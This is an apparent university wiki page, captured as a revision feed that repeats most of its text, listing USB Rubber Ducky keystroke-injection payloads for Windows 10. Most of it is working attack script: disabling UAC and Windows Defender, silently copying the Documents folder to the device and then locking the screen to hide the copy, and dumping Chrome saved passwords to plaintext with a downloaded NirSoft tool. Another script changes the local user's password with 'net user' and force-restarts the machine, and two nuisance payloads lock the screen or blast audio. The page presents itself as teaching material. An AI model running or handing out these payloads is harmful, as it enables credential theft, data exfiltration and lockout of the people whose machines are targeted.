&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Copy Documents Folder to Ducky ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Twin Duck&lt;br /&gt;
&lt;br /&gt;
Before using this script, the USB Rubber Ducky must be updated with the Twin Duck firmware. Using this firmware, the Rubber Ducky acts both as a HID keyboard and a USB storage device. The script uses the Windows &#039;&#039;Run&#039;&#039; application to open the &#039;&#039;Documents&#039;&#039; directory and copies all its contents to the storage portion of the Ducky. Note that this script assumes that the storage device will be assigned the drive letter D and must be adjusted if reconnaissance shows another letter would be more likely. The script ends with locking the screen to better hide the copying process.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
GUI d&lt;br /&gt;
DELAY 300&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 100&lt;br /&gt;
STRING documents&lt;br /&gt;
DELAY 100&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 100&lt;br /&gt;
CTRL a&lt;br /&gt;
DELAY 100&lt;br /&gt;
CTRL c&lt;br /&gt;
DELAY 100&lt;br /&gt;
ALT F4&lt;br /&gt;
DELAY 100&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 300&lt;br /&gt;
STRING d:\&lt;br /&gt;
DELAY 100&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 100&lt;br /&gt;
CTRL v&lt;br /&gt;
DELAY 100&lt;br /&gt;
GUI D&lt;br /&gt;
DELAY 100&lt;br /&gt;
GUI l&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fake Update Screen ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
This script launches a website that fakes the Windows update screen in the systems default internet browser and sets it to Fullscreen mode. It can’t be easily exited by hitting the Escape-key and hitting the Enter-key results in a fake bluescreen.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
GUI d&lt;br /&gt;
DELAY 200&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING https://www.fakeupdate.net/win10ue/&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
F11&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Maximum Volume Autoplay Audio ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
This script showcases how Ducky Script can use the console to create Visual Basic Script files (*.vbs) that can be used to create endless loops of code. It uses the command &amp;lt;code&amp;gt;copy con&amp;lt;/code&amp;gt; to create two script files. The first script file is used to create a Windows Media Player object to play a sound file from start to finish from a provided online source. The second script creates a Windows Script Host Shell object that gives the “Volume Up”-command in an endless loop. The only way to end these scripts is by using the task manager or by restarting the system.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
GUI d&lt;br /&gt;
DELAY 200&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING cmd&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
STRING del %tmp%\rickyou.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING del %tmp%\volup.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING cd %tmp% &amp;amp;&amp;amp; copy con rickyou.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
STRING While true&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Dim oPlayer&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Set oPlayer = CreateObject(&amp;quot;WMPlayer.OCX&amp;quot;)&lt;br /&gt;
ENTER&lt;br /&gt;
STRING oPlayer.URL = &amp;quot;http://tinyurl.com/s63ve48&amp;quot;&lt;br /&gt;
ENTER&lt;br /&gt;
STRING oPlayer.controls.play&lt;br /&gt;
ENTER&lt;br /&gt;
STRING While oPlayer.playState &amp;lt;&amp;gt; 1 &#039; 1 = Stopped&lt;br /&gt;
ENTER&lt;br /&gt;
STRING WScript.Sleep 100&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Wend&lt;br /&gt;
ENTER&lt;br /&gt;
STRING oPlayer.close&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Wend&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 100&lt;br /&gt;
CTRL z&lt;br /&gt;
ENTER&lt;br /&gt;
STRING copy con volup.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
STRING do&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Set WshShell = CreateObject(&amp;quot;WScript.Shell&amp;quot;)&lt;br /&gt;
ENTER&lt;br /&gt;
STRING WshShell.SendKeys(chr(&amp;amp;hAF))&lt;br /&gt;
ENTER&lt;br /&gt;
STRING loop&lt;br /&gt;
ENTER&lt;br /&gt;
CTRL z&lt;br /&gt;
ENTER&lt;br /&gt;
STRING start rickyou.vbs &amp;amp;&amp;amp; volup.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
STRING exit&lt;br /&gt;
ENTER&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Chrome browser data exfiltration and changing the machine’s local users password ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
In this demo the USB Rubber Ducky targets a Windows 10 host, that has a local user with administrative rights.&lt;br /&gt;
In a first step it graps the passwords stored in the Chrome browser’s password manager and outputs it in plaintext in a text file, stored on the local host machine’s download folder. In the second step it changes the host machine’s local user login password and restarts the computer.&lt;br /&gt;
The attack exploits a password recovery tool. It downloads, installs and excecutes it. The file &lt;br /&gt;
is protected against a direct downlad via link and with the necessity for credential inputs when downloading and extracting it. The selenium script imitates an actual user, clicking on the link in order to achieve the download, and subsequently navigating through cookies consentment and random and different add pop-ups, before the credential input can be handeled. Another challenge was that the ads disappeared when recogizing that development was opened.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Target Host:&#039;&#039;&#039;&lt;br /&gt;
* OS: Windows 10&lt;br /&gt;
* Software: Chrome browser&lt;br /&gt;
* Local user with administrative rights&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Pre-installations and setup:&#039;&#039;&#039;&lt;br /&gt;
* For automated browser navigation: [https://www.selenium.dev/ Selenium]&lt;br /&gt;
* Selenium script file on the host&lt;br /&gt;
* [https://developer.chrome.com/docs/chromedriver/downloads?hl=de Chromedriver], according to the Chrome browser version on the target host&lt;br /&gt;
* For file extraction: [https://www.7-zip.org/ 7-zip]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
REM Chrome browser user passwords exfiltration and local user&#039;s password change&lt;br /&gt;
REM 1. Part: Chrome browser user passwords exfiltration&lt;br /&gt;
&lt;br /&gt;
REM Open PowerShell and executing the selenium script&lt;br /&gt;
DELAY 1000&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 1000&lt;br /&gt;
STRING powershell -ExecutionPolicy Bypass -File path\to\browsernavigation.ps1&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 20000&lt;br /&gt;
STRING download&lt;br /&gt;
TAB&lt;br /&gt;
STRING nirsoft123!&lt;br /&gt;
ENTER&lt;br /&gt;
&lt;br /&gt;
DELAY 8000&lt;br /&gt;
&lt;br /&gt;
DELAY 3000&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 500&lt;br /&gt;
STRING powershell&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
&lt;br /&gt;
REM Get the current user&#039;s Downloads folder path&lt;br /&gt;
STRING $DownloadsPath = [System.Environment]::GetFolderPath(&#039;MyDocuments&#039;).Replace(&#039;Documents&#039;, &#039;Downloads&#039;)&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
&lt;br /&gt;
REM Unzip ChromePass file&lt;br /&gt;
STRING &amp;amp; &amp;quot;pathto\7-Zip\7z.exe&amp;quot; x &amp;quot;$DownloadsPath\passreccommandline.zip&amp;quot; -o&amp;quot;$DownloadsPath&amp;quot;&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
STRING nirsoft123!&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
&lt;br /&gt;
REM Execute ChromePassCLI and save the extracted passwords in the Downloads folder&lt;br /&gt;
STRING Start-Process -FilePath &amp;quot;$DownloadsPath\WebBrowserPassView.exe&amp;quot; -ArgumentList &amp;quot;/stext $DownloadsPath\chrome_passwords.txt&amp;quot; -NoNewWindow -Wait&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 3000&lt;br /&gt;
&lt;br /&gt;
STRING exit&lt;br /&gt;
ENTER&lt;br /&gt;
&lt;br /&gt;
REM 2. Part: Change the password of the Windows user&lt;br /&gt;
DEFINE #NEW_PASSWORD newpassword&lt;br /&gt;
&lt;br /&gt;
REM Execute Powershell with administrative rights&lt;br /&gt;
DELAY 1000&lt;br /&gt;
GUI x&lt;br /&gt;
DELAY 500&lt;br /&gt;
STRING a&lt;br /&gt;
DELAY 500&lt;br /&gt;
LEFTARROW&lt;br /&gt;
DELAY 500&lt;br /&gt;
ENTER&lt;br /&gt;
&lt;br /&gt;
DELAY 3000&lt;br /&gt;
STRING net user $env:USERNAME #NEW_PASSWORD&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 2000&lt;br /&gt;
&lt;br /&gt;
STRING Restart-Computer -Force&lt;br /&gt;
ENTER&lt;br /&gt;
&lt;br /&gt;
STRING exit&lt;br /&gt;
ENTER&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Selenium script: browsernavigation.ps1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Load Selenium Modul&lt;br /&gt;
Import-Module Selenium&lt;br /&gt;
&lt;br /&gt;
# Start Driver&lt;br /&gt;
$chromePath = &amp;quot;C:\Program Files\Google\Chrome\Application\chrome.exe&amp;quot; &lt;br /&gt;
&lt;br /&gt;
# Set up Chrome options&lt;br /&gt;
$chromeOptions = New-Object OpenQA.Selenium.Chrome.ChromeOptions&lt;br /&gt;
$chromeOptions.BinaryLocation = $chromePath&lt;br /&gt;
&lt;br /&gt;
# Define path to new ChromeDriver&lt;br /&gt;
$chromeDriverPath = &amp;quot;C:\Users\User\Downloads\chromedriver-win64\chromedriver-win64&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Set up ChromeDriverService to use updated ChromeDriver&lt;br /&gt;
$service = [OpenQA.Selenium.Chrome.ChromeDriverService]::CreateDefaultService($chromeDriverPath)&lt;br /&gt;
&lt;br /&gt;
# Start ChromeDriver&lt;br /&gt;
$driver = New-Object OpenQA.Selenium.Chrome.ChromeDriver($service, $chromeOptions)&lt;br /&gt;
&lt;br /&gt;
# Navigate to NirSoft&lt;br /&gt;
$driver.Navigate().GoToUrl(&amp;quot;https://www.nirsoft.net/password_recovery_tools.html&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
# Ensuring interaction with the main content for consent-button&lt;br /&gt;
$driver.SwitchTo().DefaultContent()&lt;br /&gt;
&lt;br /&gt;
# Locate the consent button by its class and text (&#039;Einwilligen&#039;)&lt;br /&gt;
$button = $driver.FindElementByXPath(&amp;quot;//button[contains(@class, &#039;fc-button fc-cta-consent fc-primary-button&#039;) and contains(., &#039;Einwilligen&#039;)]&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
# Click the button if found&lt;br /&gt;
if ($button -ne $null) {&lt;br /&gt;
    $button.Click()&lt;br /&gt;
    Write-Host &amp;quot;Consent button clicked.&amp;quot;&lt;br /&gt;
} else {&lt;br /&gt;
    Write-Host &amp;quot;No consent needed.&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
# Click link&lt;br /&gt;
$link = $driver.FindElementByLinkText(&amp;quot;this download link&amp;quot;)&lt;br /&gt;
$link.Click()&lt;br /&gt;
&lt;br /&gt;
Start-Sleep -Seconds 1&lt;br /&gt;
&lt;br /&gt;
# Switch to the iframe containing the google ad&lt;br /&gt;
try {&lt;br /&gt;
    $iframe = $driver.FindElementById(&amp;quot;aswift_3&amp;quot;)&lt;br /&gt;
    $driver.SwitchTo().Frame($iframe)&lt;br /&gt;
    Write-Host &amp;quot;Switched to the iframe.&amp;quot;&lt;br /&gt;
} catch {&lt;br /&gt;
    Write-Host &amp;quot;Iframe not found.&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
# Click dismiss-button&lt;br /&gt;
try {&lt;br /&gt;
    $dismissButton = $driver.FindElementByXPath(&amp;quot;//div[@id=&#039;dismiss-button&#039;]&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    if ($dismissButton -ne $null -and $dismissButton.Displayed) {&lt;br /&gt;
        $dismissButton.Click()&lt;br /&gt;
        Write-Host &amp;quot;Dismissed clicked&amp;quot;&lt;br /&gt;
    } else {&lt;br /&gt;
        Write-Host &amp;quot;Dismiss button exists but is not visible.&amp;quot;&lt;br /&gt;
    }&lt;br /&gt;
} catch {&lt;br /&gt;
    Write-Host &amp;quot;Ad dismiss button did not appear.&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Note: Even with the level bar of the Windows User Account Control setting no the hightest option “Always notify”, the the changes will be applied straight forward, without extra notification or password requests.&lt;br /&gt;
&lt;br /&gt;
References for the attack payload:&lt;br /&gt;
* [https://docs.hak5.org/hak5-usb-rubber-ducky Rubber Ducky Documentation]&lt;br /&gt;
* [https://github.com/hak5/usbrubberducky-payloads/tree/master/payloads/library/execution/Change_the_password_of_the_windows_user Change the password of Windows User Attack]&lt;br /&gt;
* [https://www.nirsoft.net/ Nirsoft password recovery tool]&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
* USB Rubber Ducky&lt;br /&gt;
* Windows 10 PC&lt;br /&gt;
* Ubuntu Linux 20.04 Virtual Machine&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* [[Hak5 Rubber Ducky]]&lt;br /&gt;
* [[USB Rubber Ducky: Firmware Update]]&lt;br /&gt;
* https://ducktoolkit.com/&lt;br /&gt;
* https://shop.hak5.org/products/usb-rubber-ducky-deluxe&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>TLee</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=USB_Rubber_Ducky:_Payloads&amp;diff=17107</id>
		<title>USB Rubber Ducky: Payloads</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=USB_Rubber_Ducky:_Payloads&amp;diff=17107"/>
		<updated>2024-12-15T23:38:17Z</updated>

		<summary type="html">&lt;p&gt;TLee: /* Chrome browser data exfiltration and changing the machine’s local users password */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
In this documentation we will show you examples for the usage of the USB Rubber Ducky on Windows 10 hosts.&lt;br /&gt;
There are many of ready-made Ducky Scripts found at:&lt;br /&gt;
* https://ducktoolkit.com/&lt;br /&gt;
* https://github.com/hak5/usbrubberducky-payloads&lt;br /&gt;
wayback: http://web.archive.org/web/20220421035128/https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Flashing-ducky#DuckyFlasher_Utility&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Article on the basics of the device: [[Hak5 Rubber Ducky]]&lt;br /&gt;
* If you need a different Rubber Ducky Firmware follow this guide: [[USB Rubber Ducky – Firmware Update]].&lt;br /&gt;
* [https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-tm-quick-reference Ducky Script Quick Reference].&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
All scripts have a DELAY 3000 at the start which means a delay of 30000ms / 30s to make sure that the target PC has time to set up the HID driver. The delays needed can vary, depending on the target host. The start delay can potentially be reduced to DELAY 1000.&lt;br /&gt;
The scripts could be further improved by adding obfuscation methods to the code. Terminal windows can be changed in colour and size to make them less obvious and much harder to read. USB Rubber Ducky can also be used to play harmless pranks on your colleagues and friends. Just be sure to clue them in beforehand and don’t let them panic.&lt;br /&gt;
&lt;br /&gt;
=== Hello World! ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
Like in all programming languages a basic hello world can be used to get to know the basic functionalities of the system. The following code is used to make a Windows PC open notepad, write “Hello World!” in large letters and save the file to the default directory.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
GUI d&lt;br /&gt;
DELAY 2000&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 500&lt;br /&gt;
STRING c:\windows\notepad.exe&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
ALT o&lt;br /&gt;
STRING f&lt;br /&gt;
TAB&lt;br /&gt;
TAB&lt;br /&gt;
STRING 100&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Hello World!&lt;br /&gt;
CTRL s&lt;br /&gt;
STRING totallynotavirus.txt&lt;br /&gt;
ENTER&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Disable Windows Defender ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
This script is used to disable Windows User Account Control first and then disable all functionalities of the Windows Defender. This could be potentially used to prepare for a second stage of a multi-stage attack. It makes heavy use of menu navigation (Arrow keys, Tabs) and the Windows 10 Search menu. The value of the DELAY commands could be further reduced if used on a fast target host. Note that the script leaves no open windows after concluding its actions.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
REM Disabling User Account Control&lt;br /&gt;
CTRL ESC&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING uac&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
LEFT&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
DOWNARROW&lt;br /&gt;
DELAY 200&lt;br /&gt;
DOWNARROW&lt;br /&gt;
DELAY 200&lt;br /&gt;
DOWNARROW&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
LEFT&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
REM Disabling Windows Defender&lt;br /&gt;
CTRL ESC&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING virus pro&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
SPACE&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
SPACE&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
SPACE&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
SPACE&lt;br /&gt;
DELAY 200&lt;br /&gt;
ALT F4	&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Copy Documents Folder to Ducky ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Twin Duck&lt;br /&gt;
&lt;br /&gt;
Before using this script, the USB Rubber Ducky must be updated with the Twin Duck firmware. Using this firmware, the Rubber Ducky acts both as a HID keyboard and a USB storage device. The script uses the Windows &#039;&#039;Run&#039;&#039; application to open the &#039;&#039;Documents&#039;&#039; directory and copies all its contents to the storage portion of the Ducky. Note that this script assumes that the storage device will be assigned the drive letter D and must be adjusted if reconnaissance shows another letter would be more likely. The script ends with locking the screen to better hide the copying process.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
GUI d&lt;br /&gt;
DELAY 300&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 100&lt;br /&gt;
STRING documents&lt;br /&gt;
DELAY 100&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 100&lt;br /&gt;
CTRL a&lt;br /&gt;
DELAY 100&lt;br /&gt;
CTRL c&lt;br /&gt;
DELAY 100&lt;br /&gt;
ALT F4&lt;br /&gt;
DELAY 100&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 300&lt;br /&gt;
STRING d:\&lt;br /&gt;
DELAY 100&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 100&lt;br /&gt;
CTRL v&lt;br /&gt;
DELAY 100&lt;br /&gt;
GUI D&lt;br /&gt;
DELAY 100&lt;br /&gt;
GUI l&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fake Update Screen ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
This script launches a website that fakes the Windows update screen in the systems default internet browser and sets it to Fullscreen mode. It can’t be easily exited by hitting the Escape-key and hitting the Enter-key results in a fake bluescreen.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
GUI d&lt;br /&gt;
DELAY 200&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING https://www.fakeupdate.net/win10ue/&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
F11&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Maximum Volume Autoplay Audio ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
This script showcases how Ducky Script can use the console to create Visual Basic Script files (*.vbs) that can be used to create endless loops of code. It uses the command &amp;lt;code&amp;gt;copy con&amp;lt;/code&amp;gt; to create two script files. The first script file is used to create a Windows Media Player object to play a sound file from start to finish from a provided online source. The second script creates a Windows Script Host Shell object that gives the “Volume Up”-command in an endless loop. The only way to end these scripts is by using the task manager or by restarting the system.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
GUI d&lt;br /&gt;
DELAY 200&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING cmd&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
STRING del %tmp%\rickyou.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING del %tmp%\volup.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING cd %tmp% &amp;amp;&amp;amp; copy con rickyou.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
STRING While true&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Dim oPlayer&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Set oPlayer = CreateObject(&amp;quot;WMPlayer.OCX&amp;quot;)&lt;br /&gt;
ENTER&lt;br /&gt;
STRING oPlayer.URL = &amp;quot;http://tinyurl.com/s63ve48&amp;quot;&lt;br /&gt;
ENTER&lt;br /&gt;
STRING oPlayer.controls.play&lt;br /&gt;
ENTER&lt;br /&gt;
STRING While oPlayer.playState &amp;lt;&amp;gt; 1 &#039; 1 = Stopped&lt;br /&gt;
ENTER&lt;br /&gt;
STRING WScript.Sleep 100&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Wend&lt;br /&gt;
ENTER&lt;br /&gt;
STRING oPlayer.close&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Wend&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 100&lt;br /&gt;
CTRL z&lt;br /&gt;
ENTER&lt;br /&gt;
STRING copy con volup.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
STRING do&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Set WshShell = CreateObject(&amp;quot;WScript.Shell&amp;quot;)&lt;br /&gt;
ENTER&lt;br /&gt;
STRING WshShell.SendKeys(chr(&amp;amp;hAF))&lt;br /&gt;
ENTER&lt;br /&gt;
STRING loop&lt;br /&gt;
ENTER&lt;br /&gt;
CTRL z&lt;br /&gt;
ENTER&lt;br /&gt;
STRING start rickyou.vbs &amp;amp;&amp;amp; volup.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
STRING exit&lt;br /&gt;
ENTER&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Chrome browser data exfiltration and changing the machine’s local users password ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
In this demo the USB Rubber Ducky targets a Windows 10 host, that has a local user with administrative rights.&lt;br /&gt;
In a first step it graps the passwords stored in the Chrome browser’s password manager and outputs it in plaintext in a text file, stored on the local host machine’s download folder. In the second step it changes the host machine’s local user login password and restarts the computer.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Target Host:&#039;&#039;&#039;&lt;br /&gt;
* OS: Windows 10&lt;br /&gt;
* Software: Chrome browser&lt;br /&gt;
* Local user with administrative rights&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Pre-installations and setup:&#039;&#039;&#039;&lt;br /&gt;
* For automated browser navigation: [https://www.selenium.dev/ Selenium]&lt;br /&gt;
* Selenium script file on the host&lt;br /&gt;
* [https://developer.chrome.com/docs/chromedriver/downloads?hl=de Chromedriver], according to the Chrome browser version on the target host&lt;br /&gt;
* For file extraction: [https://www.7-zip.org/ 7-zip]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
REM Chrome browser user passwords exfiltration and local user&#039;s password change&lt;br /&gt;
REM 1. Part: Chrome browser user passwords exfiltration&lt;br /&gt;
&lt;br /&gt;
REM Open PowerShell and executing the selenium script&lt;br /&gt;
DELAY 1000&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 1000&lt;br /&gt;
STRING powershell -ExecutionPolicy Bypass -File path\to\browsernavigation.ps1&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 20000&lt;br /&gt;
STRING download&lt;br /&gt;
TAB&lt;br /&gt;
STRING nirsoft123!&lt;br /&gt;
ENTER&lt;br /&gt;
&lt;br /&gt;
DELAY 8000&lt;br /&gt;
&lt;br /&gt;
DELAY 3000&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 500&lt;br /&gt;
STRING powershell&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
&lt;br /&gt;
REM Get the current user&#039;s Downloads folder path&lt;br /&gt;
STRING $DownloadsPath = [System.Environment]::GetFolderPath(&#039;MyDocuments&#039;).Replace(&#039;Documents&#039;, &#039;Downloads&#039;)&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
&lt;br /&gt;
REM Unzip ChromePass file&lt;br /&gt;
STRING &amp;amp; &amp;quot;pathto\7-Zip\7z.exe&amp;quot; x &amp;quot;$DownloadsPath\passreccommandline.zip&amp;quot; -o&amp;quot;$DownloadsPath&amp;quot;&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
STRING nirsoft123!&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
&lt;br /&gt;
REM Execute ChromePassCLI and save the extracted passwords in the Downloads folder&lt;br /&gt;
STRING Start-Process -FilePath &amp;quot;$DownloadsPath\WebBrowserPassView.exe&amp;quot; -ArgumentList &amp;quot;/stext $DownloadsPath\chrome_passwords.txt&amp;quot; -NoNewWindow -Wait&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 3000&lt;br /&gt;
&lt;br /&gt;
STRING exit&lt;br /&gt;
ENTER&lt;br /&gt;
&lt;br /&gt;
REM 2. Part: Change the password of the Windows user&lt;br /&gt;
DEFINE #NEW_PASSWORD newpassword&lt;br /&gt;
&lt;br /&gt;
REM Execute Powershell with administrative rights&lt;br /&gt;
DELAY 1000&lt;br /&gt;
GUI x&lt;br /&gt;
DELAY 500&lt;br /&gt;
STRING a&lt;br /&gt;
DELAY 500&lt;br /&gt;
LEFTARROW&lt;br /&gt;
DELAY 500&lt;br /&gt;
ENTER&lt;br /&gt;
&lt;br /&gt;
DELAY 3000&lt;br /&gt;
